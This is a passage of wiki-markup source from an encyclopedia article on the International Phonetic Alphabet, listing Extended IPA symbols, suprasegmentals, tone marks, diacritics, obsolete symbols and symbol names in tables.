| style=&quot;text-align:center; font-size:larger;&quot; | &amp;nbsp;&amp;ndash;
| labial-velar nasal stop
|}

Note:
* If your browser uses ''Arial Unicode MS'' to display IPA characters, the following incorrectly formed sequences may look better due to a bug in that font:  {{IPA|ts͡, tʃ͡, tɕ͡, dz͡, dʒ͡, dʑ͡, tɬ͡, kp͡, ɡb͡, ŋm͡}}.

==Extended IPA==
The '''Extended IPA''' was designed for [[Speech disorder|disordered speech]]. However, some of the symbols (especially diacritics, below) are occasionally used for transcribing normal speech as well. 

View a pdf file [http://www2.arts.gla.ac.uk/IPA/ExtIPAChart97.pdf here].

{| class=&quot;wikitable&quot;
|- 
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | [[velopharyngeal fricative|{{IPA|ʩ}}]]
|Velopharyngeal fricative (often occurs with a [[cleft palate]])
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[lateralized s|{{IPA|ʪ}}]]
|Voiceless central-plus-lateral alveolar fricative, {{IPA|[ɬ͡s]}} (a [[lisp (speech)|lisp]])
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[lateralized z|{{IPA|ʫ}}]]
|Voiced central-plus-lateral alveolar fricative, {{IPA|[ɮ͡z]}} (a lisp)
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[bilabial percussive|{{IPA|ʬ}}]]
|Bilabial percussive (smacking lips)
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[bidental percussive|{{IPA|ʭ}}]]
|Bidental percussive (gnashing teeth)
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[sublaminal lower alveolar click|{{IPA|¡}}]]
|[[Sub-apical consonant|Sublaminal lower alveolar]] click (sucking tongue)
|}

The last symbol may be used with the alveolar click for {{IPA|[ǃ¡]}}, a combined alveolar and sublaminal click or &quot;cluck-click&quot;.

==Suprasegmentals==
[[media:IPA suprasegmentals 2005.png|Closeup of the suprasegmental section of the IPA chart]]

{| class=&quot;wikitable&quot;
|-
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | {{IPA|ˈ}}
| Primary [[lexical stress|stress]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ˌ}}
| Secondary [[lexical stress|stress]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ː}}
| [[Length (phonetics)|Long]] ([[Vowel length|long vowel]] or [[Gemination|geminate consonant]])
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ˑ}}
| Half-long
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|˘}}
| [[Extra-short (phonetics)|Extra-short]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|.}}
| [[Syllable]] break
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|‿}}
| [[Liaison|Linking (absence of a break)]]
|}

=== [[Intonation (linguistics)|Intonation]] ===

{| class=&quot;wikitable&quot;
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|&lt;nowiki&gt;|&lt;/nowiki&gt;}}
| [[Prosody (linguistics)|Minor (foot) break]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|‖}}
| [[Prosody (linguistics)|Major (intonation) break]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|↗}}
| [[Intonation (linguistics)#Transcription|Global rise]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|↘}}
| [[Intonation (linguistics)#Transcription|Global fall]]
|}

=== [[Tonal language|Tone]] ===
IPA allows for the use of either tone diacritics or tone letters to indicate tones. 

{| class=&quot;wikitable&quot;
|-
| style=&quot;text-align:center; font-size:larger; width:4em;&quot; | {{IPA|e̋ or ˥}}
| Extra high
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|é or ˦}}
| High
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ē or ˧}}
| Mid
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|è or ˨}}
| Low
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ȅ or ˩}}
| Extra low
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ě}}
| Rise
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ê}}
| Fall
|-
| style=&quot;text-align:center; font-size:larger;&quot; | &lt;sup&gt;{{IPA|↓}}&lt;/sup&gt;e
| [[Downstep (phonetics)|Downstep]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | &lt;sup&gt;{{IPA|↑}}&lt;/sup&gt;e
| [[Upstep (phonetics)|Upstep]]
|}
Note:
*With regard to tone diacritics, Unicode encodes marks for some contour tones, but not all. In Unicode version 4.1, only hacek (rising) and circumflex (falling) diacritics were encoded. Subsequent versions may also include six additional diacritics for contour tones, such as the macron-acute and the grave-acute-grave ligatures. (See an image [[media:IPA suprasegmentals 2005.png|here]].) Note that contour tone diacritics are not encoded as sequences of level tone diacritics in Unicode.
*With regard to tone letters, Unicode does not have separate encodings for contour tones. Instead, sequences of level tone letters are used, with proper display dependent on the font, usually by means of OpenType font rendition: {{IPA|[˥˩]}} or {{IPA|[˦˥˧]}}. (These are probably not displaying correctly in your browser. See the [[media:IPA suprasegmentals 2005.png|image]] for a sample of how they should appear.) Since few fonts support combination tone letters (see the external links for one that is free), a common solution is to use the old system of superscript numerals from '1' to '5', for example [e&lt;sup&gt;53&lt;/sup&gt;, e&lt;sup&gt;312&lt;/sup&gt;]. However, this depends on local linguistic tradition, with '5' generally being high and '1' being low for Asian languages, but '1' being high and '5' low for African languages. An old IPA convention sometimes still seen is to use sub-diacritics for low contour tones: {{IPA|[e̖, e̗]}} for ''low-falling'' and ''low-rising''. 
*The upstep and downstep modifiers are superscript arrows. Unicode version 4.1 does not encode these, though subsequent versions will. The arrows for upstep and downstep should not be confused with the full-height arrows, which are used to indicate airflow direction.

== Diacritics ==
[[media:IPA diacritics 2005.png|Closeup of the diacritic section of the IPA chart]]&lt;br&gt;
Sub-diacritics may be placed above a symbol with a descender, i.e. {{IPA|ŋ̊}}. The dotless i, &lt;ı&gt;, is used when the dot would interfere with the diacritic. Other IPA symbols may appear as diacritics to represent phonetic detail: {{IPA|tˢ}} (fricative release), {{IPA|bʱ}} (breathy voice), {{IPA|ˀa}} (glottal onset), {{Unicode|ᵊ}} (epenthetic schwa), o&lt;sup&gt;{{IPA|ʊ}}&lt;/sup&gt; (diphthongization).

{| class=&quot;wikitable&quot;
! colspan=4|Syllabicity diacritics
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɹ̩ n̩}}
| [[Syllabic consonant|Syllabic]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̯ ʊ̯}}
| [[Non-syllabic vowel|Non-syllabic]]
|-
! colspan=4|Consonant-release diacritics
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|tʰ dʰ}}
| [[Aspiration (phonetics)|Aspirated]] {{footnote|2}}
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|d̚}}
| [[Unreleased stop|No audible release]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|dⁿ}}
| [[Nasal release]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|dˡ}}
| [[Lateral release]]
|-
! colspan=4|Phonation diacritics
|-
| style=&quot;text-align:center; font-size:larger; width:4em;&quot; | {{IPA|n̥ d̥}}
| [[Voiceless consonant|Voiceless]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|s̬ t̬}}
| [[Voiced consonant|Voiced]]
|-
| style=&quot;text-align:center; font-size:larger; width:4em;&quot; | {{IPA|b̤ a̤}}
| [[Breathy voice]]d {{footnote|1}}
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|b̰ a̰}}
| [[Creaky voice]]d
|-
! colspan=4|Articulation diacritics
|-
| style=&quot;text-align:center; font-size:larger; width:4em;&quot; | {{IPA|t̪ d̪}}
| [[Dental consonant|Dental]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t̼ d̼}}
| [[Linguolabial consonant|Linguolabial]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t̺ d̺}}
| [[Apical consonant|Apical]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|t̻ d̻}}
| [[Laminal consonant|Laminal]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|u̟ t̟}}
| [[Advanced (phonetics)|Advanced]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|i̠ t̠}}
| [[Retracted (phonetics)|Retracted]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ë ä}}
| [[Centralization (phonetics)|Centralized]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̽ ɯ̽}}
| [[Mid-centralized vowel|Mid-centralized]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̝ ɹ̝ ˔}}
| colspan=3 | [[Raised (phonetics)|Raised]] ('''{{IPA|ɹ̝}}''' = [[Voiced alveolar fricative#The voiced alveolar non-sibilant fricative|voiced alveolar nonsibilant fricative]])
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̞ β̞ ˕}}
| colspan=3 | [[Lowered (phonetics)|Lowered]] ('''{{IPA|β̞}}''' = [[bilabial approximant]])
|-
! colspan=4|Co-articulation diacritics
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɔ̹ x̹}}
| More [[Roundedness|rounded]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɔ̜ x̜ʷ}}
| Less [[Roundedness|rounded]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|tʷ dʷ}}
| [[Labialization|Labialized]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|tʲ dʲ}}
| [[Palatalization|Palatalized]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|tˠ dˠ}}
| [[Velarization|Velarized]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|tˁ dˁ}}
| [[Pharyngealization|Pharyngealized]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | [[Velarized alveolar lateral approximant|{{IPA|ɫ}}]] {{IPA|z̴}}
| colspan=3 | Velarized ''or'' pharyngealized
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̘ o̘}}
| [[Advanced tongue root]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|e̙ o̙}}
| [[Retracted tongue root]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ẽ z̃}}
| [[Nasalization|Nasalized]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɚ ɝ}}
| [[R-colored vowel|Rhoticity]]
|}

Notes:
#Some linguists restrict this breathy-voice diacritic to sonorants, and transcribe obstruents as {{IPA|bʱ}}.
#With aspirated voiced consonants, the aspiration is also voiced. Many linguists prefer one of the diacritics dedicated to breathy voice. 

The state of the [[glottis]] can be finely transcribed with diacritics. A series of alveolar plosives ranging from an open to a closed glottis [[phonation]] are: 

{|
|-
| style=&quot;text-align:center; font-size:larger; width:2em;&quot; | {{IPA|[t]}}
| [[Voiceless consonant|voiceless]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[d̤]}}
| [[breathy voice]], also called ''murmured''
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[d̥]}}
| [[slack voice]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[d]}}
| [[Voiced consonant|modal voice]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[d̬]}}
| [[stiff voice]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[d̰]}}
| [[creaky voice]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|[ʔ͡t]}}
| glottal closure
|}

===Extended IPA diacritics===
[[Media:ExtIPA.png|The letters and diacritics of the ExtIPA]]

The ExtIPA has widened the use of some of the regular IPA symbols, such as {{IPA|ʰp}} for pre-aspiration, {{IPA|tʶ}} for uvularization, or {{IPA|s̼}} for a linguolabial sibilant, as well as adding some new ones. Some of the ExtIPA diacritics are occasionally used for non-disordered speech, for example for the unusual airstream mechanisms of [[Damin]].  

One modification is the use of subscript parentheses around the [[phonation]] diacritics to indicate partial phonation; a single parenthesis at the left or right of the voicing indicates that it is partially phonated at the beginning or end of the segment. For example, {{IPA|₍s̬₎}} is a partially voiced [s], {{IPA|₍s̬}} shows partial initial voicing, and {{IPA|s̬₎}} partial final voicing; also {{IPA|₍z̥₎}} is a partially devoiced [z], {{IPA|₍z̥}} shows partial initial devoicing, and {{IPA|z̥₎}}
partial final devoicing. These conventions may be convenient for representing various [[voice onset time]]s.

Phonation diacritics may also be prefixed or suffixed rather than placed directly under the segment to represent relative timing. For instance, {{IPA|&amp;nbsp;̬z}} is a [[Pre-voicing (phonetics)|pre-voiced]] [z], {{IPA|z&amp;nbsp;̬}}
a post-voiced [z], and {{IPA|a&amp;nbsp;̰}} is an [a] with a [[creaky voice|creaky]] offglide.  

Other ExtIPA diacritics are,

{| class=&quot;wikitable&quot;
! colspan=4|Airstream mechanism
|- 
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|p↓}}
| [[Initiation (phonetics)|Ingressive airflow]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|!↑}}
| [[Initiation (phonetics)|Egressive airflow]]
|-
!colspan=4|Phonation
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|p⁼}}
| [[Aspiration (phonetics)|Unaspirated]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ạ}}
| [[Whispering|Whispery]] phonation
|-
| style=&quot;text-align:center; font-size:larger;&quot; | a&lt;sup&gt;&lt;small&gt;Ħ&lt;/small&gt;&lt;/sup&gt;
|[[Faucalized voice]] (stretched pharynx,&lt;br&gt;as in a yawn)
| style=&quot;text-align:center; font-size:larger;&quot; | a!
|[[Harsh voice]], ('pressed voice'; involves the&lt;br&gt;false vocal cords, as when lifting a load)
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʰp}} 
| Pre-aspiration
| style=&quot;text-align:center; font-size:larger;&quot; | a‼
| Ventricular vibration
|-
!colspan=4|Nasalization
|- 
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|n͋&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v͋}}
| [[nasalization|Nasal fricative]] or frication
| style=&quot;text-align:center; font-size:larger; width:3em;&quot; | {{IPA|m͊}}
| [[Denasal]] (as with a headcold)
|-
! colspan=4|Articulatory strength
|-
| style=&quot;text-align:center; font-size:larger; width:3em;&quot; | {{IPA|f͈}}
| [[Fortis (phonetics)#Tenseness|Strong articulation]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|v͉}}
| [[Fortis (phonetics)#Tenseness|Weak articulation]]
|-
! colspan=4|Articulation
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|v͆}}
| [[dentolabial consonant|Dentolabial]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|n̪͆&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h̪͆}}
| [[Interdental]] or [[bidental consonant|bidental]]
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|s͇&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;f͇}}
| [[Alveolar consonant|Alveolar(ized)]]
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|s͎}}
| [[Whistling|Whistled]] articulation
|-
! colspan=4|Secondary articulation
|-
| style=&quot;text-align:center; font-size:larger; width:3em;&quot; | {{IPA|s͍}}
| Labial spreading (see [[rounded vowel]])
| style=&quot;text-align:center; font-size:larger; width:3em;&quot; | {{IPA|ʒ}}&lt;sup&gt;&lt;small&gt;{{IPA|œ}}&lt;/small&gt;&lt;/sup&gt;
|Open-rounded labialization
|-
| style=&quot;text-align:center; font-size:larger; width:3em;&quot; | k&lt;sup&gt;&lt;small&gt;{{IPA|ʋ}}&lt;/small&gt;&lt;/sup&gt;
|Labiodentalized
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|s͌}}
| [[Velopharyngeal]] friction
|-
! colspan=4|Timing
|-
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|s͢θ}}
| Slurred/sliding articulation
| style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|p\p\p}}
| [[Stutter]] (reiterated articulation)
|}

In addition to these symbols, a subscript &lt; or &gt; indicates that an articulation is laterally offset to the left or right. 

====Prosodic notation====
The ExtIPA also makes use of Italian musical notation for the [[tempo]] and [[dynamics (music)|dynamics]] of connected speech. These are subscripted on the insides of a {brace} notation that indicates that they are comments on the [[prosody (linguistics)|prosody]]. 

Pauses are indicated with periods or numbers inside parentheses. 

{| class=&quot;wikitable&quot;
|(.)||Short pause||(..)||Medium pause||(...)||Long pause||(1.2)||1.2-second pause
|-
|''f''||Loud speech&lt;br&gt;('forte')||colspan=2|[{&lt;sub&gt;''f''&lt;/sub&gt; {{IPA|lɑʊd}}&lt;sub&gt;''f''&lt;/sub&gt;}]||''ff''||Louder speech&lt;br&gt;('fortissimo')||colspan=2|[{&lt;sub&gt;''ff''&lt;/sub&gt; {{IPA|lɑʊdɚ}} &lt;sub&gt;''ff''&lt;/sub&gt;}]
|-
|''p''||Quiet speech&lt;br&gt;('piano')||colspan=2|[{&lt;sub&gt;''p''&lt;/sub&gt; {{IPA|kwaɪət}} &lt;sub&gt;''p''&lt;/sub&gt;}]||''pp''||Quieter speech&lt;br&gt;('pianissimo')||colspan=2|[{&lt;sub&gt;''pp''&lt;/sub&gt; {{IPA|kwaɪətɚ}} &lt;sub&gt;''pp''&lt;/sub&gt;}]
|-
|''allegro''||Fast speech||colspan=2|[{&lt;sub&gt;''allegro''&lt;/sub&gt; {{IPA|fɑːst}} &lt;sub&gt;''allegro''&lt;/sub&gt;}]||''lento''||Slow speech||colspan=2|[{&lt;sub&gt;''lento''&lt;/sub&gt; {{IPA|sloʊ}} &lt;sub&gt;''lento''&lt;/sub&gt;}]
|-
|colspan=8|''crescendo, rallentando,'' and other musical terms may also be used.
|}

==Obsolete symbols, nonstandard symbols, and capital variants==
The IPA inherited alternate symbols from various traditions, but eventually settled on one for each sound. The other symbols are now considered obsolete. An example is {{IPA|ɷ}} for standard {{IPA|ʊ}}. Several symbols indicating secondary articulation have been dropped altogether, with the idea that such things should be indicated with diacritics: {{IPA|ƍ}} for {{IPA|zʷ}} is one. In addition, the rare voiceless implosive series {{IPA|ƥ ƭ ƈ ƙ ʠ}} has been dropped. 

There are also unsupported symbols from local traditions that find their way into publications that otherwise use the standard IPA. This is especially common with affricates such as {{IPA|ƛ}}. 

While the IPA does not itself have a set of capital letters (the ones that look like capitals are actually small capitals), many languages have adopted symbols from the IPA as part of their orthographies, and in such cases they have invented capital variants of these. This is especially common in Africa. An example is [[Kabye language|Kabye]] of northern [[Togo]], which has {{unicode|Ɔ Ɛ Ŋ Ɣ Ʃ}} (capital {{IPA|ʃ}}). Other pseudo-IPA capitals supported by unicode are {{unicode|Ɓ/Ƃ Ƈ Ɗ/Ƌ Ə/Ǝ Ɠ Ħ Ɯ Ɲ Ɵ Ʈ Ʊ Ʋ Ʒ}}.
{| class=&quot;wikitable&quot;
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɩ}} || Iota, rejected 1989 in favor of {{IPA|[ɪ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɷ}} || Closed omega, rejected 1989 in favor of {{IPA|[ʊ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʚ}} || Closed epsilon, a mistake for {{IPA|[ɞ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɼ}} || Long-leg R, voiced strident apico-alveolar trill (Czech ''ř''), withdrawn 1989, = {{IPA|[r̝]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɿ}} || Reversed fishhook R / turned iota, apical dental unrounded vowel used by Sinologists, = {{IPA|[z̩]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʅ}} || Squat reversed esh (actually {{IPA|ɿ}} with retroflex tail), apical retroflex unrounded vowel used by Sinologists, = {{IPA|[ʐ̩]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʮ}} || turned h with fishhook, apical dental rounded vowel used by Sinologists, = {{IPA|[z̩ʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʯ}} || turned h with fishhook and tail, apical retroflex rounded vowel used by Sinologists, = {{IPA|[ʐ̩ʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ȶ}} || t with curl, voiceless palatalized postalveolar (alveolo-palatal) plosive, used by Sinologists
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ȡ}} || d with curl, voiced palatalized postalveolar (alveolo-palatal) plosive, used by Sinologists
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ȵ}} || n with curl, voiced palatalized postalveolar (alveolo-palatal) nasal, used by Sinologists
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | &lt;small&gt;A&lt;/small&gt; || small capital A, open central vowel used by Sinologists, between {{IPA|[a]}} and {{IPA|[ɑ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | &lt;small&gt;E&lt;/small&gt; || small capital E, mid front unrounded vowel used by Sinologists, between {{IPA|[e]}} and {{IPA|[ɛ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʆ}} || Curly-tail esh, withdrawn 1989, = {{IPA|[ʃʲ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʓ}} || Curly-tail ezh, withdrawn 1989, = {{IPA|[ʒʲ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƫ}} || Left-hook T, withdrawn 1989, = {{IPA|[tʲ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|d̡}} ''etc.'' || Subscript left hook, superseded 1989 by {{IPA|[dʲ]}} ''etc.''
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|σ}} || = {{IPA|[θʷ, sʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƍ}} || = {{IPA|[ðʷ, zʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƪ}} || = {{IPA|[ʃʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƺ}} || = {{IPA|[ʒʷ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|k̫}} ''etc.'' || Subscript w, superseded 1989 by {{IPA|[kʷ]}} ''etc.''
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ɑ̢}} ''etc.'' || = {{IPA|[ɑ˞]}} ''etc.'' (&quot;retroflex&quot; or [[r-colored vowel]]s)
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʇ}} || Turned T, superseded 1989 by {{IPA|[ǀ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʖ}} || Inverted glottal stop, superseded 1989 by {{IPA|[ǁ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʗ}} || Stretched C, superseded 1989 by {{IPA|[ǃ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ʞ}} || Proposed symbol for velar click, withdrawn 1970
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƥ ƭ ƈ ƙ ʠ}} || Hooktop P, T, C, K, Q, withdrawn 1993, =  {{IPA|[ɓ̥ ɗ̥ ʄ̥ ɠ̥ ʛ̥]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƞ}} || Right-leg N, withdrawn 1976, = {{IPA|[n̩]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|š}} || Americanist usage, = {{IPA|[ʃ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ž}} || Americanist usage, = {{IPA|[ʒ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|č}} || Americanist usage, = {{IPA|[t͡ʃ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ǰ, ǧ, ǯ}} || Americanist, Slavicist ''etc.'' usage, = {{IPA|[d͡ʒ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƛ}} || Americanist usage, = {{IPA|[t͡ɬ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|λ}} || Americanist usage, = {{IPA|[d͡ɮ]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƾ}} || Withdrawn 1976, = {{IPA|[t͡s]}}
|-
| width=20 style=&quot;text-align:center; font-size:larger;&quot; | {{IPA|ƻ}} || Barred two, withdrawn 1976, = {{IPA|[d͡z]}}
|}

===How to transcribe sounds that don't have symbols in the IPA charts===
The remaining blank cells on the IPA chart can be filled without too much difficulty if the need arises. Some ''ad hoc'' symbols have appeared in the literature, for example for the lateral flaps and voiceless lateral fricatives, the epiglottal trill, and the labiodental plosives. Diacritics can supply much of the remainder, which would indeed be appropriate if the sounds were allophones. For example, the Spanish bilabial approximant is commonly written as a lowered fricative, {{IPA|[β̞]}}. Similarly, voiced lateral fricatives would be written as raised lateral approximants, {{IPA|[ɭ˔ ʎ̝ ʟ̝]}}. A few languages such as [[Banda language|Banda]] have a bilabial flap as the preferred allophone of what is elsewhere a labiodental flap. It has been suggested that this be written with the labiodental flap symbol and the advanced diacritic, {{IPA|[v̛̟]}}. Similarly, a labiodental trill would be written {{IPA|[ʙ̪]}} (bilabial trill and the dental sign). Palatal and uvular taps, if they exist, and the epiglottal tap could be written as extra-short plosives, {{IPA|[ɟ˘ ɢ˘ ʡ˘]}}. A retroflex trill can be written as a retracted {{IPA|[r̠]}}, just as retroflex fricatives sometimes are. The remaining consonants, the uvular laterals and the palatal trill, while not strictly impossible, are very difficult to pronounce and are unlikely to occur even as allophones in the world's languages.

The vowels are similarly manageable by using diacritics for raising, lowering, fronting, backing, centering, and mid-centering. For example, the unrounded equivalent of {{IPA|[ʊ]}} can be transcribed as mid-centered {{IPA|[ɯ̽]}}, and the rounded equivalent of [æ] as raised {{IPA|[ɶ̝]}}. True mid vowels are lowered {{IPA|[e̞ ø̞ ɘ̞ ɵ̞ ɤ̞ o̞]}}, while centered {{IPA|[ɪ̈ ʊ̈] and [ä]}} are near-close and open central vowels, respectively. The vowels that aren't representable in this scheme are the [[rounded vowel|compressed]] vowels, which would require a dedicated diacritic.

==Names of the symbols==
It is often desirable to distinguish an IPA symbol from the sound it is intended to represent, since there is not a one-to-one correspondance between symbol and sound in broad transcription. The symbol's names and phonetic descriptions are described in the ''Handbook of the International Phonetic Association''. The symbols also have nonce names in the [[Unicode]] standard. In some cases, the Unicode names and the IPA names do not agree. For example, IPA calls {{IPA|ɛ}} &quot;epsilon&quot;, but Unicode calls it &quot;small letter open E&quot;.

===The letters===
The traditional names of the Latin and Greek letters are used for unmodified symbols. In Unicode, some of the symbols of Greek origin have Latin forms for use in IPA; the others use the symbols from the Greek section. 

Examples:
{| class=&quot;wikitable&quot;
! style=&quot;width:2em;&quot; | !! IPA symbol name !! phonetic description !! Unicode name
|-
| style=&quot;text-align:center;&quot; | p || (lower-case) P || [[voiceless bilabial plosive]] || LATIN SMALL LETTER P
|-
| style=&quot;text-align:center;&quot; | x || (lower-case) X || [[voiceless velar fricative]] || LATIN SMALL LETTER X
|-
| style=&quot;text-align:center;&quot; | r || (lower-case) R || [[alveolar trill|coronal trill]] || LATIN SMALL LETTER R
|-
| style=&quot;text-align:center;&quot; | {{IPA|β}} || [[beta]] || [[voiced bilabial fricative]] || GREEK SMALL LETTER BETA
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɛ}} || [[epsilon]] || [[open-mid front unrounded vowel]] || LATIN SMALL LETTER OPEN E
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɣ}} || [[gamma]] || [[voiced velar fricative]] || LATIN SMALL LETTER GAMMA
|-
| style=&quot;text-align:center;&quot; | {{IPA|θ}} || [[theta]] || [[voiceless dental fricative]] || GREEK SMALL LETTER THETA
|-
| style=&quot;text-align:center;&quot; | {{IPA|χ}} || [[Chi (letter)|chi]] || [[voiceless uvular fricative]] || GREEK SMALL LETTER CHI
|-
| style=&quot;text-align:center;&quot; | {{IPA|ɸ}} || [[phi]] || [[voiceless bilabial fricative]] || LATIN SMALL LETTER PHI
|-
| style=&quot;text-align:center;&quot; | {{IPA|ʊ}} || upsilon {{footnote|1}} || [[near-close near-back rounded vowel]] || LATIN SMALL LETTER UPSILON
|-
|}

'''Note'''
#The Latin &quot;[[upsilon]]&quot; is frequently called &quot;[[horseshoe|horseshoe u]]&quot; in order to distinguish it from the Greek upsilon. Historically, it derives from a Latin small capital &lt;tt&gt;U&lt;/tt&gt;.

The IPA standard includes some small capital letters, such as {{IPA|ʀ}}, although it is common to refer to these symbols as simply &quot;capital&quot; or &quot;cap&quot; letters, because the IPA standard does not include any full-size capital letters.

A few letters have the forms of cursive or script letters. Examples:

{| class=&quot;wikitable&quot;
